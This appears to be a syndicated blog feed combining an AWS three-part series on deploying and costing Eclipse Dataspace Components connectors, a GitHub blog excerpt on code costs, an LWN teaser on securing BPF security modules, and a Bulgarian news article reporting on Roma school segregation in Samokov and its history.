That last one is genuinely new. “Try it and see” used to mean pulling a developer off other work. Now, for the right kind of task, it means handing an agent a bounded assignment and using the result to make a better call. Less time guessing, more time supervising. Less time treating implementation as a black box, more time evaluating concrete artifacts.

Scope creep is still real. But “no, because any new code is too expensive” is a much weaker argument than it was two years ago. The cost of producing code has dropped. The cost of understanding, reviewing, and owning it didn’t. So the question worth asking shifted from “is this more work?” to “where’s the real cost?” And sometimes, for a small, bounded change, the real cost is just finding out.

The cost of saying yes has changed. The cost of saying no should change with it.

The post The cost of saying yes has changed appeared first on The GitHub Blog.

Eclipse Dataspace Components on AWS: Cost optimization strategies

Post Syndicated from Jorge Hernández Suárez original https://aws.amazon.com/blogs/architecture/eclipse-dataspace-components-on-aws-cost-optimization-strategies/

When you deploy Eclipse Dataspace Components (EDC) connectors on AWS, one of the first challenges you face is predicting and controlling the cost of the required infrastructure. Without clear benchmarks, it is difficult to make informed decisions about workload sizing, environment configuration, and long-term investment.

Part 1 of this 3-part blog series covered the fundamentals of data space architectures and the EDC per the International Data Space Association’s (IDSA) standards. Part 2 explored production-ready architecture patterns for deploying EDC connectors on Amazon Web Services (AWS), discussing operational excellence, security, and reliability principles. This final post covers the remaining three AWS Well-Architected Framework pillars: Performance Efficiency, Cost Optimization, and Sustainability.

In this post, you will learn which AWS services drive cost in an EDC connector deployment, how to estimate monthly costs for business-critical and non-critical workloads, and how to apply optimization strategies that can reduce your spending by up to 58%.

Understanding cost drivers in data space deployments

Data spaces are secure and sovereign data environments that enable data sharing across independent organizations. With these architectures, you can collaborate with external organizations while maintaining full control over your data and compliance with data sovereignty principles. Your infrastructure costs can vary significantly. The main factors are your performance and reliability requirements, along with data volume and velocity across the network. It’s also important to distinguish between two types of infrastructure. A Dataspace Governance Authority (DSGA) centrally establishes components such as management, identity, and discovery functions. Participants host other components themselves, including the connector. This blog post focuses only on costs associated with EDC connector deployment on the participant, that is, the data provider and consumer sides.

Fictional usage assumptions

Before diving into the numbers, here are technical and operational assumptions you can use as a baseline for your own estimates.

Technical assumptions

Category Assumption Justification
Data Volume 5 GB per participant Includes 6 months of historical data, and backups
Network Traffic 20 GB/month per participant Data transfers between participants
API Calls 100,000/month per participant Catalog queries, contract negotiations, and data transfers
OAuth Token Requests 1,000/month per participant Machine-to-machine authentication for data plane operations

Table 1: Technical assumptions for EDC connector cost estimation

Operational assumptions

  • Single AWS Region: Spain (eu-south-2)
  • Operating hours: 24/7/365.
  • Growth rate: Not considered in baseline estimates.
  • Disaster recovery: Automated backups only (no cross-region replication)

Deployment architecture and scenarios

Figure 1 shows the reference architecture for deploying production-ready EDC connectors on AWS, covered in depth in Part 2 of this series.

Production-ready EDC connector deployment architecture diagram showing AWS services including Amazon ECS, Amazon Aurora, Network Load Balancer, and supporting services

Figure 1: Production-ready EDC connector deployment

This post considers two cost scenarios depending on the criticality of the workload:

  • Business-critical workloads: Designed for high availability, performance, and reliability of use cases supporting critical business functions.
  • Non-critical workloads: Designed for use cases that tolerate interruptions, testing environments, or production workloads where brief disruptions are acceptable.

Both scenarios follow the architecture patterns described in Part 2 of this post series, with the primary differences being in sizing of compute and database resources.

Cost estimation: Business-critical workloads

Note: These estimates use the assumptions above and illustrate the relative cost contribution of each service. Your actual costs may vary based on your specific usage patterns, data volumes and regional pricing. This post highlights which components represent the highest cost drivers and therefore come with the highest potential for optimization.

AWS Service Configuration Monthly Cost (USD)
Amazon Aurora PostgreSQL-Compatible Edition db.r6g.large (2 vCPU, 16 GB), 20 GB storage + 10 GB backup 276.00
Amazon Elastic Container Service (Amazon ECS) with AWS Fargate 2 vCPU, 4 GB RAM, always on 83.00
Network Load Balancer 20 GB processed data 20.00
AWS Secrets Manager 10 secrets 4.00
Amazon Cognito 1K machine-to-machine (M2M) token requests 2.25
Amazon Elastic Container Registry (Amazon ECR) 2 GB storage, 10 GB transfer 1.00
Amazon API Gateway 100K REST API calls 0.40
Amazon Simple Storage Service (Amazon S3) 5 GB Standard tier 0.10
Total 387.00

Table 2: Estimated monthly cost for business-critical EDC connector deployment

These estimates help identify where your budget goes and where optimization has the most impact. In the business-critical scenario, the main cost driver is Amazon Aurora PostgreSQL. The db.r6g.large configuration is selected for constant workloads that require reliability and speed with high memory and performance. Amazon ECS with AWS Fargate is the second largest cost contributor as it runs containers continuously to maintain environment availability. Network Load Balancer represents a third notable cost component, while the remaining services contribute only a small portion of the total cost.

Cost estimation: Non-critical workloads

If you are running development, testing, or experimentation environments, you can reduce costs by up to 58% through rightsizing and use of Amazon EC2 Spot capacity.

AWS Service Configuration Monthly Cost (USD)
Amazon Aurora PostgreSQL-Compatible db.t4g.medium (2 vCPU, 4 GB), 20 GB storage + 10 GB backup 110.00
Amazon ECS with AWS Fargate Spot 2 vCPU, 4 GB RAM, always on 26.00
Network Load Balancer 20 GB processed data 20.00
AWS Secrets Manager 10 secrets 4.00
Amazon Cognito 1K M2M token requests 2.25
Amazon ECR 2 GB storage, 10 GB transfer 1.00
Amazon API Gateway 100K REST API calls 0.40
Amazon S3 5 GB Standard tier 0.10
Total 164.00

Table 3: Estimated monthly cost for non-critical EDC connector deployment

These figures show that a non-critical configuration can cut costs significantly while maintaining the same data throughput and API capacity. Costs are reduced through the use of smaller and more flexible resources. Amazon Aurora PostgreSQL remains the main cost driver, but the smaller instance type (db.t4g.medium) reduces cost significantly. From a compute perspective, using Amazon ECS with AWS Fargate Spot capacity cuts costs by almost 70% compared to the business-critical setup. In total, this configuration reduces the monthly cost by approximately 58%, while maintaining identical assumptions for data throughput, API calls, and storage.

Key takeaways on cost optimization

This comparison shows that the primary cost contributors in both scenarios are database, compute and load balancing resources, which represent baseline infrastructure costs rather than usage-based charges. Services like Amazon S3, API Gateway, and data transfer charges contribute marginally to overall costs at these volumes. This cost structure indicates that the architecture scales efficiently with increased usage. As you onboard more use cases and increase data volume and velocity, you get more value from your existing infrastructure investment without proportional cost increases.

Well-Architected pillars: Performance efficiency, cost optimization, and sustainability

Part 2 of this series covered EDC best practices along the Operational Excellence, Security, and Reliability pillars of the AWS Well-Architected Framework. This section covers the remaining three pillars as they apply to EDC deployments.

Performance efficiency

Right-size compute resources: Match your Amazon ECS task definitions to actual workload requirements. Start with smaller configurations and scale up based on observed metrics rather than over-provisioning from the start. Amazon CloudWatch Container Insights provides the visibility needed to make informed sizing decisions.

Use the flexibility of Amazon Aurora: For workloads with variable demand patterns, consider Amazon Aurora Serverless v2 which automatically scales database capacity based on application needs. This eliminates the need to provision for peak capacity while maintaining performance during high-demand periods.

Optimize data transfer patterns: Design your data plane operations to minimize unnecessary data movement. Use Amazon S3 Transfer Acceleration for large transfers across geographic distances and consider data compression where appropriate to reduce both transfer times and costs.

Cost optimization

Reduce compute costs for fault-tolerant workloads: With AWS Fargate Spot, you can save up to 70% for workloads that can tolerate interruptions. Non-critical environments, batch processing, and development workloads are ideal candidates. Implement graceful shutdown handling to manage Spot interruptions effectively.

Lower storage costs over time: Configure Amazon S3 Lifecycle policies to automatically transition infrequently accessed data to lower-cost storage classes such as S3 Intelligent-Tiering or S3 Glacier Instant Retrieval. For EDC connector deployments, historical transfer logs and archived assets are good candidates for tiered storage.

Monitor for unexpected cost increases: Use AWS Cost Explorer and set up AWS Budgets with alerts to help detect unexpected cost increases. Tag EDC-related AWS resources consistently so you can accurately allocate costs and identify optimization opportunities.

Lock in lower rates for predictable workloads: For business-critical connectors with predictable, steady-state usage, Savings Plans for Amazon Aurora and AWS Fargate can provide significant discounts compared to On-Demand pricing.

Sustainability

Optimize resource utilization: Higher utilization of provisioned resources means less waste. Use automatic scaling policies to match capacity with demand and shut down non-production environments outside of business hours when possible.

Select efficient instance types: AWS Graviton-based instances (such as the r6g and t4g families used in our example) deliver better price-performance and energy efficiency compared to equivalent x86 instances. AWS Graviton processors offer improved performance per watt of energy use.

Minimize data movement: Each data transfer consumes energy. Design your data space integrations to avoid redundant transfers, cache frequently accessed catalog data of peers locally using the Federated Catalog, and batch operations where possible to reduce the total number of network round trips.

Summary

By rightsizing AWS infrastructure to match actual compute and database capacity needs, data space participants can achieve significant cost savings without compromising on data security and sovereignty aspects that make data spaces valuable. The comparison between business-critical and non-critical workload configurations demonstrates how AWS services like Amazon Aurora, AWS Fargate Spot, and Amazon S3 can be combined effectively to balance data sovereignty, performance, and cost efficiency.

As data spaces grow in adoption across industries and geographies, understanding these cost dynamics becomes increasingly important as you plan your network participation. The patterns and estimates in this post series offer a foundation for planning your cross-organizational data strategy and data spaces journey on AWS.

To get started, assess your workload criticality to determine whether a business-critical or non-critical configuration fits your needs. Then use the AWS Pricing Calculator to estimate costs for your specific data volumes, regions, and usage patterns. For an end-to-end reference implementation, explore the Dataspace Connector on AWS project which combines Infrastructure-as-Code with custom EDC extensions and AI tooling integration.

References

About the authors

Eclipse Dataspace Components on AWS: Architecture patterns in production

Post Syndicated from Jonas Bürkel original https://aws.amazon.com/blogs/architecture/eclipse-dataspace-components-on-aws-architecture-patterns-in-production/

Running Eclipse Dataspace Components (EDC) connectors in production on AWS requires deliberate architecture decisions around isolation, managed services, and security layering. In Part 1 of this series, we covered the fundamentals of data space architectures and EDC per the International Data Space Association’s (IDSA) standards. If you are new to EDC, we recommend starting there. We showed how connector functionality can be customized to support native integration with Amazon Web Services (AWS) Cloud services. Examples include Amazon Simple Storage Service (Amazon S3) for data storage and AWS Secrets Manager for credentials management. In this post, we dive deeper into the connector deployment architecture on AWS and present patterns and practices for production-grade deployments.

Fundamental architecture building blocks

The EDC connector consists of a control plane and a data plane that customers typically ship and deploy as containers. Depending on data integration requirements and support for specific protocols and capabilities, a custom EDC build process may need to be implemented as described in Part 1 of this series. For example, you may need OAuth 2.0 client credentials for the data plane to connect to backend systems. You store the resulting EDC container images in a container registry, such as Amazon Elastic Container Registry (Amazon ECR). Figure 1 shows an example architecture for EDC connector deployments on AWS following best practices for production use.

Architecture diagram showing production-ready EDC connector deployment on AWS with Amazon ECS, Aurora, S3, and API Gateway components

Figure 1: Production-ready EDC connector deployment on AWS

You can split the architecture into four sub-components:

  • Amazon Elastic Container Service (Amazon ECS) and AWS Fargate provide serverless container orchestration. This allows for scalable EDC deployment without managing any of the underlying infrastructure.
  • EDC requires persistence to store secrets and relational control plane data, and a means of vending OAuth 2.0 client credentials. AWS Secrets Manager, Amazon Aurora and Amazon Cognito can provide these capabilities as managed services.
  • Amazon S3 provides durable data storage for handling both inbound and outbound data that is shared and received through the data space.
  • Finally, Amazon API Gateway and Network Load Balancer provide secure, private network connectivity to EDC APIs in an isolated Amazon Virtual Private Cloud (Amazon VPC) using VPC links.

With this approach, all cloud resources belonging to a single EDC connector instance form an isolated architecture cell. You access this cell through the S3 bucket to move in data that is to be shared as part of an EDC asset, or to retrieve data received from a third party as part of an EDC data transfer. Secondly, the API Gateway can be configured to expose selected EDC API resources from its management API, data plane API and Dataspace Protocol (DSP) API. You can protect both means of interacting with the EDC architecture cell using AWS Identity and Access Management (AWS IAM) and the AWS Signature Version 4 (SigV4) protocol.

Larger enterprises participating in data spaces may decide to operate multiple EDCs depending on their requirements on failure isolation, data governance, and separation of shared and received data. A common pattern is to deploy separate connector instances per use case. Infrastructure-as-code such as AWS Cloud Development Kit (CDK) allows for automated, templatized deployment and management of EDC connectors over time while keeping operational effort at bay. Using the Dataspace Connector on AWS reference implementation, a full connector cell deploys from a single CDK command, ready to negotiate contracts and transfer data. Amazon API Gateway also comes with Model Context Protocol (MCP) proxy support. This allows EDC APIs to be consumed by authorized AI agents and MCP clients for autonomous data collection and sharing. Besides integration with agentic systems, customers often follow a workflow-based approach for connecting EDCs with their cloud-based data environments. They interact with both APIs and the peripheral S3 bucket to securely expose and retrieve external information.

Real-world validation of these architecture patterns can be seen in production deployments like the Prometheus-X Data Space Connector, for education sector use cases. This implementation uses the same core architecture we recommend: Amazon ECS with AWS Fargate for container orchestration, S3 for data storage, and event-driven processing with AWS Lambda and Amazon EventBridge. This demonstrates how these patterns work effectively in production environments across different industry sectors.

Key principles for production-readiness

We discuss some of the architecture principles that inform the best practices diagram highlighted in Figure 1 along three of the AWS Well-Architected Framework’s pillars.

Operational Excellence

Infrastructure as Code for Consistency: Define all infrastructure declaratively to support repeatable, version-controlled, and testable deployments. Automated validation, for example using CDK Nag, helps catch misconfigurations and security issues before deployment, shifting security left in the development lifecycle. The code itself serves as living documentation of the architecture.

Observability as a First-Class Concern: Treat monitoring and logging as core infrastructure components. Amazon CloudWatch Container Insights, Amazon CloudWatch Logs, and EDC’s structured health check endpoints provide visibility into system behavior, supporting proactive issue detection and faster troubleshooting. EDC APIs for health checks can be similarly exposed with restricted access through API Gateway and IAM.

Managed Services Over Self-Managed Infrastructure: Use AWS managed services (Aurora, Secrets Manager, Fargate, Cognito) instead of deploying and maintaining compatible self-managed solutions. This shifts undifferentiated heavy lifting to AWS and reduces operational burden. You gain high availability, built-in security best practices, compliance certifications, and automatic updates.

Security

Defense in Depth: Implement security through multiple independent layers rather than relying on a single control. Network isolation (VPC private subnets), security group segmentation (restricting traffic between components), IAM least privilege (scoped permissions per service), and encryption (at rest and in transit) each provide independent controls. These layers work together so that if one layer is bypassed, others continue to provide protection.

Principle of Least Privilege: Every component receives only the minimum permissions required for its specific function. Scope IAM roles to individual services (control plane, data plane) and restrict security groups to necessary ports and sources. The internal-only Network Load Balancer fronted by API Gateway prevents unintended public exposure of EDC APIs and data. This may also support security review and approval of EDC as open-source software, since APIs can be allowlisted and validated individually.

Encryption Everywhere: Encrypt data by default at every stage: at rest (Aurora, S3, Secrets Manager), in transit (TLS enforcement, HTTPS-only egress), and during processing (encrypted environment variables). This provides comprehensive data protection regardless of where information resides in the system.

Reliability

Fail Fast, Recover Automatically: Systems detect failures quickly and recover without manual intervention. ECS circuit breakers can automatically roll back failed deployments, automated health checks remove unhealthy targets, and point-in-time recovery supports rapid database restoration. This minimizes mean time to recovery (MTTR) and reduces the scope of failures, even within a single EDC architecture cell.

Design for Regional Resilience: Cross-zone load balancing distributes traffic across multiple Availability Zones (AZs), Aurora automatically replicates data across AZs, and Fargate tasks can be scheduled in any AZ. The highlighted architecture can tolerate Availability Zone failures in an AWS Region without service disruption. For more information about Availability Zones and Regions, see AWS Global Infrastructure.

Decoupled Components with Clear Boundaries: Deploy the control plane and data plane as independent services with distinct responsibilities, security contexts, and scaling characteristics. This separation enables independent updates, targeted scaling, and failure isolation between coordination logic and data transfer operations.

The remaining three Well-Architected Framework pillars of Performance Efficiency, Cost Optimization, and Sustainability are covered in the third post of this series where we discuss cost optimization strategies for running EDC connectors on AWS.

Conclusion

With the growing popularity of data spaces and EDC as a data space connector, it is important to distinguish between a setup suitable for testing and experimentation and one that is ready for production. Production environments require that business-critical processes depend on timely, successful transmission of confidential information between participants. The architecture defined in this post combines EDC deployment best practices from the community with AWS recommendations to achieve fault tolerance, scalability, and security while keeping operational complexity at a minimum.

In part 3, you will learn about cost optimization strategies to run your production-ready connector efficiently and maximize the value it returns by supporting business use cases for data sharing along your supply network. In the meantime, explore the Dataspace Connector on AWS project and see how the patterns and best practices covered in this post come together in an end-to-end reference implementation.

References

About the authors

Eclipse Dataspace Components on AWS: Data sharing fundamentals

Post Syndicated from Alejandro Esquivias Cañadas original https://aws.amazon.com/blogs/architecture/eclipse-dataspace-components-on-aws-data-sharing-fundamentals/

This three-part blog series guides you through implementing Eclipse Dataspace Components (EDC) on AWS, from foundational concept to production deployment. Part 1 establishes the theoretical foundation with IDSA standards, the Dataspace Protocol (DSP), and core EDC architecture. Part 2 provides production-ready AWS deployment patterns using services like Amazon Elastic Container Service (Amazon ECS), Amazon Aurora, and Amazon API Gateway. Part 3 completes the journey with cost optimization strategies and practical guidance for running efficient, scalable data space infrastructure on AWS.

The International Data Spaces Association (IDSA) is a non-profit organization focused on establishing and promoting standards for data spaces. A data space is defined as a “set of technical services that facilitate interoperable dataset sharing between distinct entities”. At a technical level, a data space has participants: data consumers and data providers. Centrally, there is a Dataspace Governance Authority (DSGA). The DSGA manages the data space, enforces rules and policies and issues membership credentials to participants.

IDSA rules and specifications are implemented in the Dataspace Protocol (DSP). The DSP has become an Eclipse Specification project and can be found in the Dataspace Protocol GitHub repository. Standardization is under development and is currently in the approval phase as ISO/IEC DIS 20151. The Eclipse Dataspace Components (EDC) provide the technical components to implement data spaces according to IDSA requirements.

These components include the federated catalog (FC), the connector, and the identity hub. The FC contains an aggregated repository of catalogs gathered from multiple participants in the data space. These are obtained by periodically crawling participants’ data assets and storing them in a local cache, to eliminate the need to query each participant individually on demand. The connector is the software that enables data to be shared between participants, and identity hub manages a participant’s credentials in the data space. Amazon Web Services (AWS) provides a comprehensive cloud infrastructure that supports the deployment and operation of data space components like the EDC connector. AWS offers scalable compute, storage, and networking services that help you build secure, compliant, and interoperable data spaces aligned with IDSA standards and the ISO/IEC DIS 20151 specifications.

To verify identities in a data space in a decentralized manner, the Decentralized Claims Protocol (DCP) is used. DCP represents an overlay on top of DSP to establish trust between network participants. When an issuer needs to prove their identity to a verifier, they first generate a Decentralized Identifier (DID), which contains information about their identity. The issuer stores their Verifiable Credential (VC) in their identity hub. A verifiable credential is similar to a certificate: while a certificate authority validates a public key, the credential issuer validates the DID with specific attributes. The verifier looks up the DID of the issuer and with the information obtained from the DID document verifies the VC.

High-level diagram showing how DCP establishes trust between an issuer and verifier using DIDs and Verifiable Credentials

Figure 1: High-level diagram of the Decentralized Claims Protocol (DCP)

Simplified overview showing how a verifier resolves a DID document to verify credentials

Figure 2: Simplified overview of DID document processing

The final element of the EDC are the different types of policies, including membership, access, contract and usage policies.

The role of the connector

The EDC connector is divided into two parts: the control plane and the data plane. The control plane handles contract negotiation and sends messages to the data plane to initiate a data transfer. The data plane is responsible for transferring data from a provider’s to a consumer’s EDC connector across distinct legal entities.

Diagram showing the EDC connector architecture with separate control plane and data plane

Figure 3: Overview of the connector control and data plane

Structure of the EDC connector open-source project

The Connector repository as part of the EDC project defines how the connector control and data planes are implemented. We provide an overview of how the repository is structured:

  • /spi – The Service Provider Interface (SPI) is the architectural foundation that defines how modules communicate within the EDC connector. It contains foundational interfaces and contracts that every component must implement, establishing standardized integration patterns. This layer also acts as a blueprint for developers to extend EDC connector functionality while maintaining clean separation of concerns and ensuring compatibility between core and custom components.
  • /core – The Core module represents the core SPI implementation. It houses the actual working code for the connector’s essential operations, including default implementations of key services and business logic for data sharing.
  • /extensions – The Extensions layer showcases the connector’s modular plugin architecture through real-world integrations, including connections to major cloud providers like AWS. These extensions serve both as reference implementations and ready-to-use components for common enterprise integration scenarios.

SPI defines the contracts, Core implements the basics, and Extensions add specialized functionality. These three layers work together to create a flexible, extensible data space connector system. The “vanilla” Eclipse EDC connector does not bundle the AWS extensions by default. To add AWS service-specific functionality, such as integration with Amazon Simple Storage Service (Amazon S3), AWS Secrets Manager, or Amazon DynamoDB, you need to include the respective AWS extensions into a custom EDC control and data plane build.

High-level EDC customization guide

Customizing the EDC connector for native AWS service integration creates a purpose-built solution that can use AWS managed services for storage, security, and scalability. The following steps help your connector natively integrate with services like Amazon S3 for data storage (used for example as Asset Administration Shell “Submodel Server”) and AWS Secrets Manager for credentials management, rather than relying on operations of self-managed components.

EDC uses a modular, plugin-based architecture built on Gradle. The vanilla connector ships only core functionality. To integrate with specific cloud services or persistence backends, you assemble a custom build that combines EDC’s core modules with the extensions you need. The customization revolves around three concepts: a version catalog, launcher modules, and a project settings file.

Step 1: Version catalog

The version catalog (gradle/libs.versions.toml) is the centralized registry of all dependencies and their versions. Here you declare which EDC modules, cloud provider extensions, and third-party libraries your connector needs to use. EDC publishes its AWS extensions under the org.eclipse.edc.aws Maven group. You reference these alongside the core EDC artifacts (org.eclipse.edc) at compatible version numbers. This single file ensures all modules in your project share consistent dependency versions.

Step 2: Launcher modules

The launcher modules are the actual deployable units: one for the control plane and one for the data plane. Each launcher is a small Gradle subproject whose build.gradle.kts lists the extensions to bundle at runtime. A typical control plane launcher might include the core control plane module, a metadata persistence extension (such as PostgreSQL or DynamoDB), a vault extension (such as HashiCorp Vault or AWS Secrets Manager), and any provisioning extensions for your target storage system. The data plane launcher follows the same pattern with data plane-specific modules. Both launchers typically use Gradle plugins to produce a single executable JAR. You only include what you actually use, keeping the connector lightweight and tailored to your unique requirements.

Step 3: Project settings

The project settings file (settings.gradle.kts) registers all modules with Gradle: your launcher subprojects and any custom extensions you may develop locally. If you write your own extension, for example, a DynamoDB-backed asset store, you place it in an extensions/ directory and register it here so your launchers can reference it as a project dependency.

The resulting project structure typically looks like this:

my-connector/
├── control-plane/
│   └── build.gradle.kts       # Control plane launcher
├── data-plane/
│   └── build.gradle.kts       # Data plane launcher
├── extensions/                # Optional: Custom extension code
├── gradle/libs.versions.toml  # All dependency versions
├── build.gradle.kts           # Root build config
└── settings.gradle.kts        # Subproject registrations

An open-source reference implementation for EDC customization on AWS is provided as part of the Dataspace Connector on AWS project. In this post, you learned about the fundamentals behind secure, cross-organizational data sharing using emerging data space architectures. We covered the two protocols included in ISO/IEC DIS 20151 data space standardization, DSP and DCP, and discussed the EDC connector, the main software required for data space participants, and how it can be customized.

In part 2, we explore production-ready deployment patterns for EDC connectors on AWS, examining architecture best practices that support your data space infrastructure’s security, reliability, and operational efficiency. To get started, explore the Dataspace Connector on AWS project and see how its Gradle build settings are configured to support Amazon DynamoDB for serverless, inexpensive metadata persistence.

References

About the authors

[$] Securing BPF LSMs against tampering

Post Syndicated from daroc original https://lwn.net/Articles/1082111/

Since 2020, BPF programs have been able to

act as Linux security modules
(LSMs). Several projects, including systemd, have been working to use
that capability to provide more security to users. Christian Brauner
spoke at the 2026

Linux Storage, Filesystem, Memory-Management, and BPF Summit
about some of the limitations of using BPF in this way, and the changes he
would like to see for systemd’s use. In particular, he would like a way to make
sure that BPF programs cannot be removed or have their private data tampered with.

Искате ли децата ви да учат заедно с ромски деца?

Post Syndicated from Емилия Милчева original https://www.toest.bg/iskate-li-detsata-vi-da-uchat-zaedno-s-romski-detsa/

Искате ли децата ви да учат заедно с ромски деца?

За първи път държавен орган призна, че една община не просто допуска, а поддържа сегрегация в училище, и задължи кмета да предприеме действия срещу нея. 

Общината е Самоков и според решението на Комисията за защита от дискриминация (КЗД) кметът д-р Ангел Джоргов е нарушил чл. 5 от Закона за защита от дискриминация по признака „етническа принадлежност“, като не е предприел действия във връзка със сегрегация на ученици от първи клас в две основни училища – „Митрополит Авксентий Велешки“ и „Христо Максимов“. 

Под това решение от 5 май, с което „Тоест“ разполага, са се подписали и тримата членове на КЗД: Наско Атанасов, Елка Божова и Иво Христов (понастоящем вицепремиер, отговарящ за човешкото развитие). 

На сайта на КЗД решението не е публикувано.

По данни за 2020 г. на Центъра за междуетнически диалог и толерантност „Амалипе“ в България има 335 сегрегирани училища, 185 от които са общообразователни, а останалите – професионални гимназии. Това е близо 14,2% от всички училища в България.

Кратък наръчник по ромска интеграция

С наближаването на изборите за пореден път се повдига въпросът за интеграцията на ромите. Все се появяват конфликти, които се използват за катализиране на етническо напрежение.

Правилата за прием в детски градини и училища, които разделят децата по етнически признак, съществуват в много общини. Досега институциите обясняваха сегрегацията с кварталите (което означава ромски гета), със свободния избор и решенията на родителите, с демографията. Но за първи път държавен орган приема, че отговорността носят конкретна община и нейният кмет. 

Като член на независим регулатор, избран от квотата на президента, Иво Христов е подкрепил извода на КЗД по казуса. Като вицепремиер той носи политическата отговорност дали този принцип ще намери място в политиката на правителството. Това е национална тема – ромите са третата етническа група в България с 4,4% дял от населението, по данни от преброяването през 2021 г., и Христов разполага с власт и възможности да постави проблема в дневния ред на „Прогресивна България“. 

Как започва всичко?

В сигнал на Фондация „Саворе“, подаден от председателя ѝ Христо Николов, се описва как в Самоков години наред действа система, която възпроизвежда етническото разделение още при записването на децата в първи клас. Според сигнала не става дума за случайно струпване на ромски ученици в едно училище, а за последици от начина, по който Общината е организирала училищния прием.

По думите на жалбоподателя, Общината използва училищните райони така, че ромските деца от определени квартали да се насочват основно към „Митрополит Авксентий Велешки“ и „Христо Максимов“. В същото време в останалите училища в града учат почти изцяло деца от български произход. Родителите от ромски произход, които искат да запишат децата си в друго училище, често срещат отказ с аргумента, че не попадат в съответния район.

В сигнала се посочва още, че формално критериите за прием изглеждат еднакви за всички, но реалният ефект е различен. Именно чрез районите за обхват и правилата за записване се възпроизвежда разделението между училищата, което според фондацията представлява етническа сегрегация.

Първата институционална реакция е, че проблем няма. След проверка Регионалното управление на образованието – София-област стига до заключението, че приемът е организиран законосъобразно, и не установява сегрегирани училища в Самоков. До противоположен извод стига по-късно КЗД.

Колко входа има българското образование?

Майка ми е родена през 1946 г. и ми е разказвала, че в училището, в което е учила през 50-те години, е имало българи, роми и турци. Но училището е имало два входа. През единия са влизали българските деца, а през другия – ромските и турските. Децата са играли заедно, но са учили в различни класни стаи, вероятно и по различни програми.

Тази история разказва Огнян Исаев от Тръста за социална алтернатива, който проучва темата за сегрегацията в образованието. Процесът започва много по-рано от комунистическия режим и продължава през различни исторически периоди, а някои факти са в пълно противоречие с днешното клише, че ромите не ценят образованието. 

Ако не можеш да нахраниш детето си

Как и защо в масовия случай децата, попаднали в институции, са от ромски произход? По приблизителни оценки те са между 60 и 70%, въпреки че ромите съставляват малко над 10% от населението. Надежда Цекулова разказва за проблема.

„Още в края на XIX и началото на XX век в България съществуват етнически училища – гръцки, турски, арменски и еврейски. Те се самоиздържат чрез съответните религиозни и общностни организации. След 20-те години на XX век държавата постепенно централизира образователната система и започва да въвежда единни стандарти, като обучението преминава на български език, а майчиният език остава като учебен предмет.“

До началото на ХХ век голяма част от ромите в България са мюсюлмани и затова посещават турските училища. След Балканските войни и последвалите спогодби между България и Турция голяма част от турското население напуска страната и много турски училища започват да се закриват. Затова още през 20-те години ромската общност в София предприема организирани действия, за да отвори собствено училище. За целта обаче трябва да създаде своя мюсюлманска вероизповедна община, защото тогава училищата се управляват именно чрез такива общности. 

Те събират подписи, организират се и искат регистрация, но от мюфтийството им отказват. Обжалват, но съдът потвърждава отказа. Така ромската общност остава без възможност да има свое училище, каквато са имали други етнически общности по онова време. Впоследствие започват да записват децата си в българските и в останалите турски училища, като на места дори се налага да се самоопределят като турци. 

Следващите десетилетия обаче показват различна история – не за липсата на желание за образование, а за различните форми, в които държавата организира достъпа до него. 

Формирането на големи трайно обособени ромски квартали в България улеснява образователната сегрегация. Гетата са едни от най-устойчивите форми на пространствено разделение в страната. 

След 1944 г. държавата създава училища в ромските квартали с цел да ограмоти ромското население, тъй като тогава делът на неграмотните роми на възраст между 15 и 59 години надхвърля 81%; 1,5% са с основно образование и едва 0,03% – със средно или висше . 

През 80-те години делът на неграмотните роми вече е спаднал на 11%, с основно образование са 40%, а със средно и висше – близо 5%. (Но при преброяването през 2011 г. се установява, че неграмотното население се е увеличило на 21,8%, макар че и другите показатели са нараснали.)

Според Исаев вместо училищата в ромските квартали по-късно да бъдат трансформирани, им е възложена нова функция – да дават базова грамотност и да подготвят работници за фабриките, земеделието и животновъдството. „Хора, които реално не могат да продължат нито към средно, нито към висше образование.“

Правозащитникът прави важно разграничение между грамотност и образование:

Често се казва, че по време на социализма не е имало неграмотни хора. Това донякъде е вярно. Четивната и писмената грамотност са били сравнително високи. Но функционалната неграмотност е огромна. Хората могат да четат и да възпроизвеждат текст, но много често не разбират смисъла му.

Сегрегацията обаче не се изчерпва само с отделните училища, а и с поставяне на диагнози.

„По данни от изследване на проф. Илона Томова от 1995 г. всяко трето ромско дете учи в специално училище, а в помощните училища делът на ромските деца надхвърля 50%. Нерядко това са били напълно здрави деца, чиято единствена причина да попаднат там е етническият им произход“, казва Огнян Исаев. 

От дискриминация към дехуманизация – в малки стъпки

Чухте ли за директорката на норвежко училище, която заявила, че българските деца трябва да бъдат отнемани от семействата им? А че норвежкият министър на образованието е защитил нейната „свобода на…

В своята статия „Социални фактори, подкрепящи процеса на приобщаващо образование на ромските деца“¹ проф. д.н. Христо Кючуков разказва как са били поставяни диагнози на ромски деца поради невладеене на български език. Неговият спомен датира от 80-те години на миналия век, когато е бил учител в родния си град Провадия, а всичките му ученици са били от ромския и турския етнос.

Много ромски деца идваха в първи клас без никакви знания по български език. Медицинска комисия в училището проверяваше знанията им по български, преди да постъпят в първи клас, и обикновено им се поставяше диагноза „лека умствена изостаналост“ поради невладеене на българския език. На родителите се даваха препоръки да изпратят децата си в „училища за бавноразвиващи се ученици…“

Тази практика продължава и след демократичните промени и е описана и от други автори². През 1997 г. в България има 299 „специални училища“ от различен вид с 27 148 деца, повечето роми. В изследването „Отпадащите роми“ се посочва, че в Словакия повечето ученици в училищата за деца с умствени и физически увреждания също са роми, както и в Чехия. В Румъния има 246 такива „специални училища“, а броят на децата е 48 237, повечето роми. В Унгария в редица региони до 90% от учениците в такива училища също са роми.

Така невладеенето на официалния език и специфичната социокултурна среда се превръщат в психически проблем и белязват хората завинаги. 

Последиците от изпращането на напълно здрави деца в „специални училища“ се усещат и днес, посочва Огнян Исаев.

Тези хора вече са на 50 и повече години. Искат да завършат средно образование, за да станат по-конкурентоспособни или просто да получат шофьорска книжка. Но дипломите им са с качествени, а не с числови оценки и няма нормативна пътека, по която да се върнат в общообразователната система. Имали сме конкретен случай в Ботевград. Проверявахме как тези хора да бъдат оценени наново, за да се установи, че никога не са били деца със специални образователни потребности. Оказа се, че такава процедура в МОН практически няма.

По думите му, сегрегацията не е останала в миналото, а просто е променила формите си.

„В началото на Прехода говорим за около 60 сегрегирани училища в ромските квартали и между 60 и 100 сегрегирани образователни институции общо. Днес вече говорим за около 200–220 сегрегирани училища.“ Сред тях вече не са само училищата в ромските квартали. „Най-новата тенденция са т.нар. обединени училища. Законът ги създаде, за да могат децата в малките населени места да стигнат поне до първи гимназиален етап. Само че в някои градове, където има достатъчно средни училища, те започват да се превръщат почти изцяло в ромски училища.“

